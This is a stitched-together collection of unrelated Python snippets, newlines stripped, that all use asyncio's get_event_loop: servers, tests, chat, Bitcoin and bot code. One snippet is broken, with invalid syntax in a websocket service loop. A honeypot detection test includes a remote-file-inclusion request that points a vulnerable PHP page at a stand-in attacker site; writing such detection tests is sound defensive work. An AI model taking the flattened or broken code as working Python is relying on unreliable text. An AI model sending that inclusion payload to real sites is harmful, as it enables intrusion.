def serve(): tornado.platform.asyncio.AsyncIOMainLoop().install() asyncio.async(cleanup()) app = make_app(server_settings.DEBUG) ssl_options = None if server_settings.SSL_CERT_FILE and server_settings.SSL_KEY_FILE: ssl_options = { 'certfile': server_settings.SSL_CERT_FILE, 'keyfile': server_settings.SSL_KEY_FILE, } app.listen( server_settings.PORT, address=server_settings.ADDRESS, xheaders=server_settings.XHEADERS, max_buffer_size=server_settings.MAX_BUFFER_SIZE, ssl_options=ssl_options, ) logger.info("Listening on {0}:{1}".format(server_settings.ADDRESS, server_settings.PORT)) asyncio.get_event_loop().set_debug(server_settings.DEBUG) asyncio.get_event_loop().run_forever()
def handleGeneralFailure(self, error): """ If everything else fails then call this function as a final resort Its job is to clean up the connection (i.e. cleanly disengage from the bus and then report a complete and final failure to the outer code. """ asyncio.get_event_loop().call_soon(self.close) raise(error)
def send_tracked_message(self, body_or_stanza, *, timeout=timedelta(seconds=120)): """ Send a tracked message. The first argument can either be a :class:`~.Message` or a mapping compatible with :attr:`~.Message.body`. Return a :class:`~.tracking.MessageTracker` which tracks the message. See the documentation of :class:`~.MessageTracker` and :class:`~.MessageState` for more details on tracking in general. Tracking a MUC groupchat message supports tracking up to the :attr:`~.MessageState.DELIVERED_TO_RECIPIENT` state. If a `timeout` is given, it must be a :class:`~datetime.timedelta` indicating the time span after which the tracking shall time out. `timeout` may be :data:`None` to let the tracking never expire. .. warning:: Some MUC implementations rewrite the ``id`` when the message is reflected in the MUC. In that case, tracking cannot succeed beyond the :attr:`~.MessageState.DELIVERED_TO_SERVER` state, which is provided by the basic tracking interface. To support these implementations, the `timeout` defaults at 120 seconds; this avoids that sending a message becomes a memory leak. If the chat is exited in the meantime, the messages are set to :attr:`~.MessageState.UNKNOWN` state. This also happens on suspension and resumption. """ if isinstance(body_or_stanza, aioxmpp.stanza.Message): message = body_or_stanza message.type_ = aioxmpp.structs.MessageType.GROUPCHAT message.to = self.mucjid else: message = aioxmpp.stanza.Message( type_=aioxmpp.structs.MessageType.GROUPCHAT, to=self.mucjid ) message.body.update(body_or_stanza) tracker = aioxmpp.tracking.MessageTracker() token = self.service.client.stream.enqueue_stanza( message, on_state_change=tracker.on_stanza_state_change ) tracker.token = token self._tracking[message.id_] = tracker if timeout is not None: asyncio.get_event_loop().call_later( timeout.total_seconds(), self._tracking_timeout, message.id_, tracker ) return tracker
async def handler(self): """Handle the lifetime of the connection. Receive all messages from the stream and send them to the appropriate partner.""" await self.send( b'Server: Welcome to TCP chat roulette! ' b'You will be matched with a partner.\n' b'Server: What is your name?\n') # Main client read loop. Read lines until disconnection. while True: if self.name is not None and self.name not in clients: # We have been removed from client list by self.disconnected(), # so shut down this task. return try: data = await self.reader.readline() if not data: await self.disconnected() elif self.name is None: # First interaction with client is to set their name. if await self.set_name(data): # Successful onboarding; match client. clients[self.name] = self asyncio.get_event_loop().create_task(self.match()) else: continue elif data.startswith(b'/'): await self.handle_cmd(data) else: await self.message_partner(data) except OSError: await self.disconnected()
def callback(): if self.method == 'stop': get_event_loop().stop() elif self.method == 'exit': sys.exit() else: raise BaseException('this should crash the application')
def _create_pubsub_handler(cls): if cls._tcp_service: asyncio.get_event_loop().run_until_complete( cls._tcp_service.pubsub_bus.create_pubsub_handler(cls.pubsub_host, cls.pubsub_port)) if cls._http_service: asyncio.get_event_loop().run_until_complete( cls._http_service.pubsub_bus.create_pubsub_handler(cls.pubsub_host, cls.pubsub_port))
def sync_main(args=None): # interactive mode is a little messy, that's why this is not using aiocoap.util.cli yet if args is None: args = sys.argv[1:] if '--interactive' not in args: try: asyncio.get_event_loop().run_until_complete(single_request(args)) except KeyboardInterrupt: sys.exit(3) else: if len(args) != 1: print("No other arguments must be specified when entering interactive mode", file=sys.stderr) sys.exit(1) loop = asyncio.get_event_loop() task = asyncio.Task(interactive()) while not task.done(): try: loop.run_until_complete(task) except KeyboardInterrupt: if not interactive_expecting_keyboard_interrupt.done(): interactive_expecting_keyboard_interrupt.set_result(None) except SystemExit: continue # asyncio/tasks.py(242) raises those after setting them as results, but we particularly want them back in the loop
def periodic_aggregated_stats_logger(cls): hostname = socket.gethostbyname(socket.gethostname()) logd = cls._stats.to_dict() logs = [] for server_type in ['http', 'tcp']: try: server_type_d = logd['sub'][server_type]['sub'] except KeyError: continue for k, v in server_type_d.items(): d = dict({ 'method': k, 'server_type': server_type, 'hostname': hostname, 'service_name': cls._service_name, 'average_response_time': v['average'], 'total_request_count': v['count'], 'success_count': v['success_count'] }) for k2, v2 in v['sub'].items(): d['CODE_{}'.format(k2)] = v2['count'] logs.append(d) _logger = logging.getLogger('stats') for logd in logs: _logger.info(dict(logd)) asyncio.get_event_loop().call_later(300, cls.periodic_aggregated_stats_logger)
def quit(self): """Quit snipe.""" for w in self.fe.get_windows(): w.quit_hook() asyncio.get_event_loop().stop()
async def test_app_make_handler_access_log_class(mocker) -> None: class Logger: pass app = web.Application() with pytest.raises(TypeError): app._make_handler(access_log_class=Logger) class Logger(AbstractAccessLogger): def log(self, request, response, time): self.logger.info('msg') srv = mocker.patch('aiohttp.web_app.Server') app._make_handler(access_log_class=Logger) srv.assert_called_with(app._handle, access_log_class=Logger, request_factory=app._make_request, loop=asyncio.get_event_loop(), debug=mock.ANY) app = web.Application(handler_args={'access_log_class': Logger}) app._make_handler(access_log_class=Logger) srv.assert_called_with(app._handle, access_log_class=Logger, request_factory=app._make_request, loop=asyncio.get_event_loop(), debug=mock.ANY)
def connection_made(self, transport): self.transport = transport # I couldn't find a good way to close the socket, # so have to schedule a call to do that asyncio.get_event_loop().call_later(3, self.transport.close) logging.debug('querying ' + byte_2_domain(self.query_data[12:])) self.transport.sendto(self.query_data)
def main(): loop = asyncio.get_event_loop() coro = serial.aio.create_serial_connection(loop, serPort, url='/dev/arduino', baudrate=38400) ser_task = asyncio.ensure_future(coro) loop.run_until_complete(coro) ###print("ser_task result: {}".format(ser_task.result())) ser_transport = ser_task.result()[0] ser_protocol = ser_task.result()[1] ###writer = asyncio.StreamWriter(ser_transport, ser_protocol, reader, loop) ###print(ser_transport) #loop = asyncio.get_event_loop() #coro = serial.aio.create_serial_connection(loop, serPort, '/dev/arduino',baudrate=38400) #ser_task = asyncio.ensure_future(coro) #loop.run_until_complete(coro) #print("ser_task result 0: {}".format(ser_task.result()[0])) #print("ser_task result 1: {}".format(ser_task.result()[1].data_received)) #newtask = loop.create_task(ser_task.result()[1].data_received) #print(newtask) #print("is coroutine function? {!s}".format(asyncio.iscoroutinefunction(ser_task.result()[1].data_received)) #print("is coroutine? {}".format( asyncio.iscoroutine(ser_task.result()[1].data_received) ) #print(asyncio.iscoroutinefunction(ser_task.result()[1].data_received)) myhandler = functools.partial(handler,mytasks=[],mycallbacks=[ser_transport.write],ser=ser_protocol) #myhandler = functools.partial(handler,mytasks=[ser_task.result()[1].data_received]) start_server = websockets.serve(myhandler, 'localhost', 8765) ws_task = asyncio.ensure_future(start_server) asyncio.get_event_loop().run_until_complete(start_server) print("ws_task results: {}".format(ws_task.result())) ws_serv = ws_task.result() #loop = asyncio.get_event_loop() #coro = serial.aio.create_serial_connection(loop, serPort, '/dev/arduino',baudrate=38400,timeout=0.2) #loop.run_until_complete(coro) asyncio.get_event_loop().run_forever()
def wallet_fetch(path, args): early_timestamp = calendar.timegm(args.date) print(path) print("wallet. Fetching.") network = MAINNET addresses = [a[:-1] for a in open(os.path.join(path, "watch_addresses")).readlines()] keychain = Keychain(addresses) sql_db = sqlite3.Connection(os.path.join(path, "wallet.db")) persistence = SQLite3Persistence(sql_db) wallet = SQLite3Wallet(keychain, persistence, desired_spendable_count=20) bcv_json = persistence.get_global("blockchain_view") or "[]" blockchain_view = BlockChainView.from_json(bcv_json) element_count = len(addresses) false_positive_probability = 0.0001 filter_size = filter_size_required(element_count, false_positive_probability) hash_function_count = hash_function_count_required(filter_size, element_count) bloom_filter = BloomFilter(filter_size, hash_function_count=hash_function_count, tweak=1) print("%d elements; filter size: %d bytes; %d hash functions" % (element_count, filter_size, hash_function_count)) for a in addresses: bloom_filter.add_address(a) merkle_block_index_queue = asyncio.Queue() host_port_q = None USE_LOCAL_HOST = False if USE_LOCAL_HOST: # use a local host instead of going to DNS host_port_q = asyncio.Queue() host_port_q.put_nowait(("127.0.0.1", 8333)) filter_f = lambda idx, h: h.timestamp >= early_timestamp spv = SPVClient( network, blockchain_view, bloom_filter, merkle_block_index_queue, host_port_q=host_port_q, filter_f=filter_f) @asyncio.coroutine def process_updates(merkle_block_index_queue): while True: merkle_block, index = yield from merkle_block_index_queue.get() wallet._add_block(merkle_block, index, merkle_block.txs) bcv_json = blockchain_view.as_json() persistence.set_global("blockchain_view", bcv_json) if len(merkle_block.txs) > 0: print("got block %06d: %s... with %d transactions" % ( index, merkle_block.id()[:32], len(merkle_block.txs))) if index % 1000 == 0: print("at block %06d (%s)" % (index, datetime.datetime.fromtimestamp(merkle_block.timestamp))) if merkle_block_index_queue.empty(): persistence.commit() t = asyncio.Task(process_updates(merkle_block_index_queue)) asyncio.get_event_loop().run_forever()
def test_eof(): peer = BitcoinPeerProtocol(MAGIC_HEADER) pt = PeerTransport(None) peer.connection_made(pt) COUNT = 0 @asyncio.coroutine def async_listen(next_message): count = 0 try: while True: name, data = yield from next_message() count += 1 except EOFError: pass assert count == 2 nonlocal COUNT COUNT += 1 tasks = [asyncio.Task(async_listen(peer.new_get_next_message_f())) for i in range(50)] peer.data_received(VERSION_MSG_BIN) peer.data_received(VERACK_MSG_BIN) # end of stream peer.connection_lost(None) # give everyone a chance to run (but no one finishes) asyncio.get_event_loop().run_until_complete(asyncio.wait(tasks)) assert COUNT == 50
def test_run(self): @asyncio.coroutine def aiotest(): from aiorm import registry from aiorm.orm.query import statements as stmt driver.DummyCursor.return_many = [[range(3), range(10, 13)], ] yield from registry.connect('/sample') groups = yield from (stmt.Select(sample.Group) .join(sample.User) .left_join(sample.UserPreference, sample.User.id == sample.UserPreference.user_id) .where(Mock()).run() ) yield from registry.disconnect('sample') groups = [group for group in groups] self.assertEqual(len(groups), 2) self.assertEqual(groups[0].to_dict(), {'id': 1, 'created_at': 0, 'name': 2}) self.assertEqual(groups[1].to_dict(), {'id': 11, 'created_at': 10, 'name': 12}) asyncio.get_event_loop().run_until_complete(aiotest())
def test_rfc(self): user = "******" password = "******" smmock = aiosasl.SASLStateMachine(SASLInterfaceMock( self, [ ("auth;PLAIN", b"\0tim\0tanstaaftanstaaf", "success", None) ])) @asyncio.coroutine def provide_credentials(*args): return user, password def run(): plain = aiosasl.PLAIN(provide_credentials) result = yield from plain.authenticate( smmock, "PLAIN") self.assertTrue(result) asyncio.get_event_loop().run_until_complete(run()) smmock.interface.finalize()
def test_fail_on_protocol_violation(self): user = "******" password = "******" smmock = aiosasl.SASLStateMachine(SASLInterfaceMock( self, [ ("auth;PLAIN", b"\0tim\0tanstaaftanstaaf", "challenge", b"foo") ])) @asyncio.coroutine def provide_credentials(*args): return user, password def run(): plain = aiosasl.PLAIN(provide_credentials) yield from plain.authenticate( smmock, "PLAIN") with self.assertRaisesRegexp(aiosasl.SASLFailure, "protocol violation") as ctx: asyncio.get_event_loop().run_until_complete(run()) self.assertEqual( None, ctx.exception.opaque_error ) smmock.interface.finalize()
def __init__(self, max_loops=20): self.log = [] self.max_loops = max_loops self._finished = asyncio.Event() self._next = asyncio.Event() self.wait = self._finished.wait asyncio.get_event_loop().call_later(5, self._watchdog)
async def service_callback(): async with websockets.connect('ws://localhost:9090') as websocket: # advertise the message/topic await websocket.send("{ \"op\": \"advertise\",\ \"type\": \"vision_service/msg/NewFacialFeatures\",\ \"topic\": \"/roboy/cognition/vision/NewFacialFeatures\"\ }") i = 1 # counter for the service request IDs while True: float64[128] ff = 0 message["values"] = ff message["op"] = "service_response" message["id"] = "message:/roboy/cognition/vision/coordinates:" + str(i) message["service"] = "/roboy/cognition/vision/coordinates" i += 1 await websocket.send(json.dumps(message)) except Exception as e: logging.exception("Oopsie! Got an exception in vision/NewFacialFeatures") logging.basicConfig(level=logging.INFO) asyncio.get_event_loop().run_until_complete(service_callback())
def connect(host='localhost', port=5672, login='******', password='******', virtualhost='/', ssl=False, login_method='AMQPLAIN', insist=False, protocol_factory=AmqpProtocol, **kwargs): """Convenient method to connect to an AMQP broker @host: the host to connect to @port: broker port @login: login @password: password @virtualhost: AMQP virtualhost to use for this connection @login_method: AMQP auth method @insist: Insist on connecting to a server @kwargs: Arguments to be given to the protocol_factory instance Returns: a tuple (transport, protocol) of an AmqpProtocol instance """ if kwargs: transport, protocol = yield from asyncio.get_event_loop().create_connection( lambda: protocol_factory(**kwargs), host, port) else: transport, protocol = yield from asyncio.get_event_loop().create_connection( protocol_factory, host, port) yield from protocol.start_connection(host, port, login, password, virtualhost, ssl=ssl, login_method=login_method, insist=insist) return (transport, protocol)
def shutdown(self): for t in [self.new_task] + self.backfillers: t.cancel() # this is kludgy, but make sure the task runs a tick to # process its cancellation asyncio.get_event_loop().run_until_complete(t) super().shutdown()
def main(): # Tell prompt_toolkit to use asyncio. use_asyncio_event_loop() # Run application async. asyncio.get_event_loop().run_until_complete( application.run_async().to_asyncio_future())
def main(): loop = asyncio.get_event_loop() # loop.set_debug(True) main = asyncio.ensure_future(async_main()) loop.add_signal_handler(signal.SIGHUP, list_all_tasks) loop.add_signal_handler(signal.SIGINT, main.cancel) try: loop.run_until_complete(main) except: log.exception('Main failed') pass print("MAIN COMPLETE") def check_task(task): return task.done() and not task.cancelled() and not task.exception() tasks = asyncio.Task.all_tasks(asyncio.get_event_loop()) retrieved_tasks = set() while any((not check_task(task) for task in tasks)): task_list = FutureList((task for task in tasks if not check_task(task))) log.info("Pending Loop. Has %d items", len(task_list)) for task in task_list.as_completed(): try: loop.run_until_complete(task) except: log.exception('Task raised exception %r', task) pass retrieved_tasks = retrieved_tasks | tasks tasks = asyncio.Task.all_tasks(asyncio.get_event_loop()) - retrieved_tasks log.info("Pending Loop. Has %d new items", len([task for task in tasks if not check_task(task)])) loop.close()
def __init__(self, db): self._db = db self._db.execute('create table if not exists objects (hash unique, brink, expires, data)') self.on_add_object = [] self.on_remove_object = [] asyncio.get_event_loop().call_soon(self._cleanup) self.on_stats_changed = []
def testWebsocketTransport(): @asyncio.coroutine def serverRoutine(websocket, path): print("new connection") receiver = TransportGateway(enc, WebsocketTransport(websocket), debugMode = True) receiver.exposeObjectImplementation(TestImplementation) yield from asyncio.sleep(0.5) a = yield from (receiver << Test.requestNew(1)) print(a) b = yield from a.echo("asd") print(b) b = yield from a.echo("asd") print(b) b = yield from a.echo("asd") print(b) #yield from receiver.serverMode() print("connection closed") @asyncio.coroutine def clientRoutine(): websocket = yield from websockets.connect('ws://localhost:8765/') return TransportGateway(enc, WebsocketTransport(websocket), debugMode = True) start_server = websockets.serve(serverRoutine, 'localhost', 8765) asyncio.get_event_loop().run_until_complete(start_server) asyncio.get_event_loop().run_forever()
def test_hadle_request_index(self): rand = mock.Mock() rand.return_value = [x for x in range(10)] with mock.patch('aiohttp.Response.write', self.m, create=True): with mock.patch('aiohttp.Response.write_eof', self.m_eof, create=True): message = mock.Mock() message.headers = [] message.path = '/event' message.version = (1, 1) @asyncio.coroutine def foobar(): return b'{"method":"GET","path":"/index.html"}' payload = mock.Mock() payload.read = foobar asyncio.get_event_loop().run_until_complete(self.handler.handle_request(message, payload)) content = b''.join([c[1][0] for c in list(self.m.mock_calls)]).decode('utf-8') content = json.loads(content) assert_content = dict( version=1, response=dict(message=dict(detection=dict(name='index', order=1))) ) self.assertDictEqual(content, assert_content)
def test_get_date_address_tuples(): peer1, peer2 = create_peers() DA_TUPLES = [(1392770000+i, PeerAddress(1, "127.0.0.%d" % i, 8000+i)) for i in range(100)] from pycoinnet.message import pack_from_data msg_data = pack_from_data("addr", date_address_tuples=DA_TUPLES) @asyncio.coroutine def run_peer1(): yield from standards.initial_handshake(peer1, VERSION_MSG) next_message = peer1.new_get_next_message_f() name, data = yield from next_message() peer1.send_msg("addr", date_address_tuples=DA_TUPLES) return name, data @asyncio.coroutine def run_peer2(): yield from standards.initial_handshake(peer2, VERSION_MSG_2) date_address_tuples = yield from standards.get_date_address_tuples(peer2) return DA_TUPLES f1 = asyncio.Task(run_peer1()) f2 = asyncio.Task(run_peer2()) asyncio.get_event_loop().run_until_complete(asyncio.wait([f1, f2])) name, data = f1.result() assert name == 'getaddr' assert data == {} date_address_tuples = f2.result() assert date_address_tuples == DA_TUPLES
def commit_msg(self, seqno): # This will raise IndexError if we attempt to commit when # nothing is in flight txn_seqno, write_future, offset, size \ = self._txns_in_flight.popleft() while txn_seqno != seqno: # Can't commit out of order; wait our turn with (yield from self._txn_committed): yield from self._txn_committed.wait() txn_seqno, write_future, offset, size \ = self._txns_in_flight.popleft() assert txn_seqno == seqno # Wait for our local write to be done; raise exception if # there was one #yield from write_future # Write to the index file; this marks it as committed locally. if USE_EXECUTOR: asyncio.get_event_loop().run_in_executor( self._executor, self.idxfile.write, IdxEntry.pack(seqno, offset, size)) elif DO_WRITES: self.idxfile.write( IdxEntry.pack(seqno, offset, size)) with (yield from self._txn_committed): self._txn_committed.notify_all() #self.updated_cb() return
def test_handle_request_rfi(self): rand = mock.Mock() rand.return_value = [x for x in range(10)] self.handler.base_handler.emulators['rfi'].handle = mock.Mock(return_value=(lambda: (yield None))()) with mock.patch('aiohttp.Response.write', self.m, create=True): with mock.patch('aiohttp.Response.write_eof', self.m_eof, create=True): message = mock.Mock() message.headers = [] message.path = '/event' message.version = (1, 1) @asyncio.coroutine def foobar(): return b'{"method":"GET","path":"/vuln_page.php?file=http://attacker_site/malicous_page"}' payload = mock.Mock() payload.read = foobar asyncio.get_event_loop().run_until_complete(self.handler.handle_request(message, payload)) content = b''.join([c[1][0] for c in list(self.m.mock_calls)]).decode('utf-8') content = json.loads(content) assert_content = dict( version=1, response=dict(message=dict(detection=dict(name='rfi', order=2, payload=None))) ) self.assertDictEqual(content, assert_content)
def __init__(self, db): self._db = db self._db.execute('create table if not exists worker (obj, trials, extra, timestamp)') self._executor = concurrent.futures.ProcessPoolExecutor() for obj, trials, extra, timestamp in self._db.execute('select * from worker'): asyncio.get_event_loop().create_task(self._run(packet.Object.from_bytes(obj), trials, extra, timestamp)) self.on_object_done = []
def test_1(): loop = asyncio.get_event_loop() assert not loop.is_closed()
def __init__(self): self.event_loop = asyncio.get_event_loop() self.broadcast_tasks = dict() # parallel dict to broadcast_tasks that tracks stats self.local_hostname = get_local_host() self.stats_mgr = BroadcastWebsocketStatsManager(self.event_loop, self.local_hostname)
async def startup(self, sockets=None): await self.lifespan.startup() if self.lifespan.should_exit: self.should_exit = True return config = self.config create_protocol = functools.partial(config.http_protocol_class, config=config, server_state=self.server_state) loop = asyncio.get_event_loop() if sockets is not None: # Explicitly passed a list of open sockets. # We use this when the server is run from a Gunicorn worker. def _share_socket(sock: socket) -> socket: # Windows requires the socket be explicitly shared across # multiple workers (processes). from socket import fromshare # type: ignore sock_data = sock.share(os.getpid()) # type: ignore return fromshare(sock_data) self.servers = [] for sock in sockets: if config.workers > 1 and platform.system() == "Windows": sock = _share_socket(sock) server = await loop.create_server(create_protocol, sock=sock, ssl=config.ssl, backlog=config.backlog) self.servers.append(server) elif config.fd is not None: # Use an existing socket, from a file descriptor. sock = socket.fromfd(config.fd, socket.AF_UNIX, socket.SOCK_STREAM) server = await loop.create_server(create_protocol, sock=sock, ssl=config.ssl, backlog=config.backlog) message = "Uvicorn running on socket %s (Press CTRL+C to quit)" logger.info(message % str(sock.getsockname())) self.servers = [server] elif config.uds is not None: # Create a socket using UNIX domain socket. uds_perms = 0o666 if os.path.exists(config.uds): uds_perms = os.stat(config.uds).st_mode server = await loop.create_unix_server(create_protocol, path=config.uds, ssl=config.ssl, backlog=config.backlog) os.chmod(config.uds, uds_perms) message = "Uvicorn running on unix socket %s (Press CTRL+C to quit)" logger.info(message % config.uds) self.servers = [server] else: # Standard case. Create a socket from a host/port pair. addr_format = "%s://%s:%d" if config.host and ":" in config.host: # It's an IPv6 address. addr_format = "%s://[%s]:%d" try: server = await loop.create_server( create_protocol, host=config.host, port=config.port, ssl=config.ssl, backlog=config.backlog, ) except OSError as exc: logger.error(exc) await self.lifespan.shutdown() sys.exit(1) port = config.port if port == 0: port = server.sockets[0].getsockname()[1] protocol_name = "https" if config.ssl else "http" message = f"Uvicorn running on {addr_format} (Press CTRL+C to quit)" color_message = ("Uvicorn running on " + click.style(addr_format, bold=True) + " (Press CTRL+C to quit)") logger.info( message, protocol_name, config.host, port, extra={"color_message": color_message}, ) self.servers = [server] self.started = True
def run(self, sockets=None): self.config.setup_event_loop() loop = asyncio.get_event_loop() loop.run_until_complete(self.serve(sockets=sockets))
await asyncio.sleep(1.0) for brightness in range(256): print(f"Set Brightness to {brightness}...") await client.write_gatt_char( BRIGHTNESS_CHARACTERISTIC, bytearray( [ brightness, ] ), ) await asyncio.sleep(0.2) print(f"Set Brightness to {40}...") await client.write_gatt_char( BRIGHTNESS_CHARACTERISTIC, bytearray( [ 40, ] ), ) if __name__ == "__main__": address = "EB:F0:49:21:95:4F" loop = asyncio.get_event_loop() loop.set_debug(True) loop.run_until_complete(run(address, True))
LATITUDE, LONGITUDE, altitude=ALTITUDE, session=session, use_async=True, ) start = time.time() try: # Get current UV info: _LOGGER.info("CURRENT UV DATA:") _LOGGER.info(await client.uv_index()) # Get forecasted UV info: _LOGGER.info("FORECASTED UV DATA:") _LOGGER.info(await client.uv_forecast()) # Get UV protection window: _LOGGER.info("UV PROTECTION WINDOW:") _LOGGER.info(await client.uv_protection_window()) except OpenUvError as err: _LOGGER.info(err) end = time.time() _LOGGER.info("Execution time: %s seconds", end - start) asyncio.get_event_loop().run_until_complete(main())
def main(): asyncio.get_event_loop().run_until_complete(go()) print("DONE")
async def unregister(websocket): USERS.remove(websocket) await notify_users() async def counter(websocket, path): # register(websocket) sends user_event() to websocket await register(websocket) try: await websocket.send(state_event()) async for message in websocket: data = json.loads(message) if data["action"] == "minus": STATE["value"] -= 1 await notify_state() elif data["action"] == "plus": STATE["value"] += 1 await notify_state() else: logging.error("unsupported event: {}", data) finally: await unregister(websocket) start_server = websockets.serve(counter, "localhost", 6789) asyncio.get_event_loop().run_until_complete(start_server) asyncio.get_event_loop().run_forever()
def start_parse(): data = get_from_rss() asyncio.get_event_loop().run_until_complete(load_to_db(data)) return True
def wrapper(*args, **kwargs): return asyncio.get_event_loop().run_until_complete(f(*args, **kwargs))
def get_event_loop(): return asyncio.get_event_loop()
open_output = partial( zip_file.open, canonical_dict[path.join('output', output.lower())]) yield LegacyCase(open_input, open_output, float(time_sec_str), mem_kb, int(score_str)) if __name__ == '__main__': async def main(): try_init_cgroup() sandbox = await create_sandbox() gcc = Compiler('/usr/bin/gcc', ['gcc', '-std=c99', '-o', '/out/foo', '/in/foo.c'], 'foo.c', 'foo', ['foo']) await gcc.prepare( sandbox, b"""#include <stdio.h> int main(void) { int a, b; scanf("%d%d", &a, &b); printf("%d\\n", a + b); }""") package, _ = await gcc.build(sandbox) for case in read_legacy_cases('examples/1000.zip'): logger.info(await case.judge(sandbox, package)) for i in range(10): logger.info(await APlusBCase(randint(0, 32767), randint(0, 32767)).judge(sandbox, package)) get_event_loop().run_until_complete(main())
def serve( files, immutable, host, port, reload, cors, sqlite_extensions, inspect_file, metadata, template_dir, plugins_dir, static, memory, config, secret, root, get, version_note, help_config, pdb, open_browser, return_instance=False, ): """Serve up specified SQLite database files with a web UI""" if help_config: formatter = formatting.HelpFormatter() with formatter.section("Config options"): formatter.write_dl( [ (option.name, "{} (default={})".format(option.help, option.default)) for option in CONFIG_OPTIONS ] ) click.echo(formatter.getvalue()) sys.exit(0) if reload: import hupper reloader = hupper.start_reloader("datasette.cli.serve") if immutable: reloader.watch_files(immutable) if metadata: reloader.watch_files([metadata.name]) inspect_data = None if inspect_file: inspect_data = json.load(open(inspect_file)) metadata_data = None if metadata: metadata_data = parse_metadata(metadata.read()) kwargs = dict( immutables=immutable, cache_headers=not reload, cors=cors, inspect_data=inspect_data, metadata=metadata_data, sqlite_extensions=sqlite_extensions, template_dir=template_dir, plugins_dir=plugins_dir, static_mounts=static, config=dict(config), memory=memory, secret=secret, version_note=version_note, pdb=pdb, ) # if files is a single directory, use that as config_dir= if 1 == len(files) and os.path.isdir(files[0]): kwargs["config_dir"] = pathlib.Path(files[0]) files = [] try: ds = Datasette(files, **kwargs) except SpatialiteNotFound: raise click.ClickException("Could not find SpatiaLite extension") if return_instance: # Private utility mechanism for writing unit tests return ds # Run the "startup" plugin hooks asyncio.get_event_loop().run_until_complete(ds.invoke_startup()) # Run async sanity checks - but only if we're not under pytest asyncio.get_event_loop().run_until_complete(check_databases(ds)) if get: client = TestClient(ds) response = client.get(get) click.echo(response.text) exit_code = 0 if response.status == 200 else 1 sys.exit(exit_code) return # Start the server url = None if root: url = "http://{}:{}{}?token={}".format( host, port, ds.urls.path("-/auth-token"), ds._root_token ) print(url) if open_browser: if url is None: # Figure out most convenient URL - to table, database or homepage path = asyncio.get_event_loop().run_until_complete( initial_path_for_datasette(ds) ) url = "http://{}:{}{}".format(host, port, path) webbrowser.open(url) uvicorn.run( ds.app(), host=host, port=port, log_level="info", lifespan="on", workers=1 )
async def _(event): if event.fwd_from: return event = mone = await edit_or_reply(event ,"Processing ...") if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) if event.reply_to_msg_id: start = datetime.now() reply_message = await event.get_reply_message() try: c_time = time.time() downloaded_file_name = await borg.download_media( reply_message, Config.TMP_DOWNLOAD_DIRECTORY, progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress(d, t, mone, c_time, "trying to download") ) ) except Exception as e: # pylint:disable=C0103,W0703 await mone.edit(str(e)) else: end = datetime.now() ms = (end - start).seconds await mone.edit("Stored the rar to `{}` in {} seconds.".format(downloaded_file_name, ms)) patoolib.extract_archive(downloaded_file_name, outdir=extracted) filename = sorted(get_lst_of_files(extracted, [])) #filename = filename + "/" await event.edit("Unraring now") # r=root, d=directories, f = files for single_file in filename: if os.path.exists(single_file): # https://stackoverflow.com/a/678242/4723940 caption_rts = os.path.basename(single_file) force_document = True supports_streaming = False document_attributes = [] if single_file.endswith((".mp4", ".mp3", ".flac", ".webm")): metadata = extractMetadata(createParser(single_file)) duration = 0 width = 0 height = 0 if metadata.has("duration"): duration = metadata.get('duration').seconds if os.path.exists(thumb_image_path): metadata = extractMetadata(createParser(thumb_image_path)) if metadata.has("width"): width = metadata.get("width") if metadata.has("height"): height = metadata.get("height") document_attributes = [ DocumentAttributeVideo( duration=duration, w=width, h=height, round_message=False, supports_streaming=True ) ] try: await borg.send_file( event.chat_id, single_file, caption=f"UnRarred `{caption_rts}`", force_document=force_document, supports_streaming=supports_streaming, allow_cache=False, reply_to=event.message.id, attributes=document_attributes, progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress(d, t, event, c_time, "trying to upload") ) ) except Exception as e: await borg.send_message( event.chat_id, "{} caused `{}`".format(caption_rts, str(e)), reply_to=event.message.id ) # some media were having some issues continue os.remove(single_file) os.remove(downloaded_file_name) await event.edit("DONE!!!") await asyncio.sleep(5) await event.delete()
def loop(self): if self._loop is None: self._loop = asyncio.get_event_loop() return self._loop
def __init__(self, seq=(), *, after=1, callback=None, loop=None): super().__init__(seq) self.loop = loop or asyncio.get_event_loop() self.after = after self.callback = callback self._timer = None
def __init__(self, loop=None): self.loop = loop or aio.get_event_loop() self.q = aio.Queue(loop=self.loop) self.loop.add_reader(sys.stdin, self.got_input)
def test(): test_prep() loop = asyncio.get_event_loop() loop.run_until_complete(do()) loop.close() final_result()
from asyncio import coroutine, get_event_loop @coroutine def coro(): print('42') print(type(coro)) print(type(coro())) loop = get_event_loop() loop.run_until_complete(coro())
def run_webrtc_service(): logging.basicConfig() loop = asyncio.get_event_loop() loop.create_task(_start_async_server()) loop.run_forever()
global time connect_info = { 'commandType': 'aiEnterRoom', 'roomId': 101550, 'accessKey': sys.argv[1], 'employeeId': int(sys.argv[2]) } print(json.dumps(connect_info)) async with websockets.connect(uri) as websocket: await websocket.send(json.dumps(connect_info)) while True: msg = await websocket.recv() msg = json.loads(msg) await websocket.send(json.dumps({'commandType': 'fire'})) if time % random.randint(1, 20) == 4: await websocket.send( json.dumps({ 'commandType': 'direction', 'angle': random.randint(0, 360) })) else: pass time += 1 print(msg) asyncio.get_event_loop().run_until_complete( hello('wss://tank-match.taobao.com/ai'))
def __init__(self, loop=None): if loop is None: loop = get_event_loop() self.loop = loop self.futures = [] self.return_promise = False
def main(): loop = asyncio.get_event_loop() loop.add_signal_handler(signal.SIGTERM, shutdown) tasks = asyncio.ensure_future(tweet()) loop.run_until_complete(asyncio.gather(tasks))
def run_coro(coro): import asyncio return asyncio.get_event_loop().run_until_complete(coro)
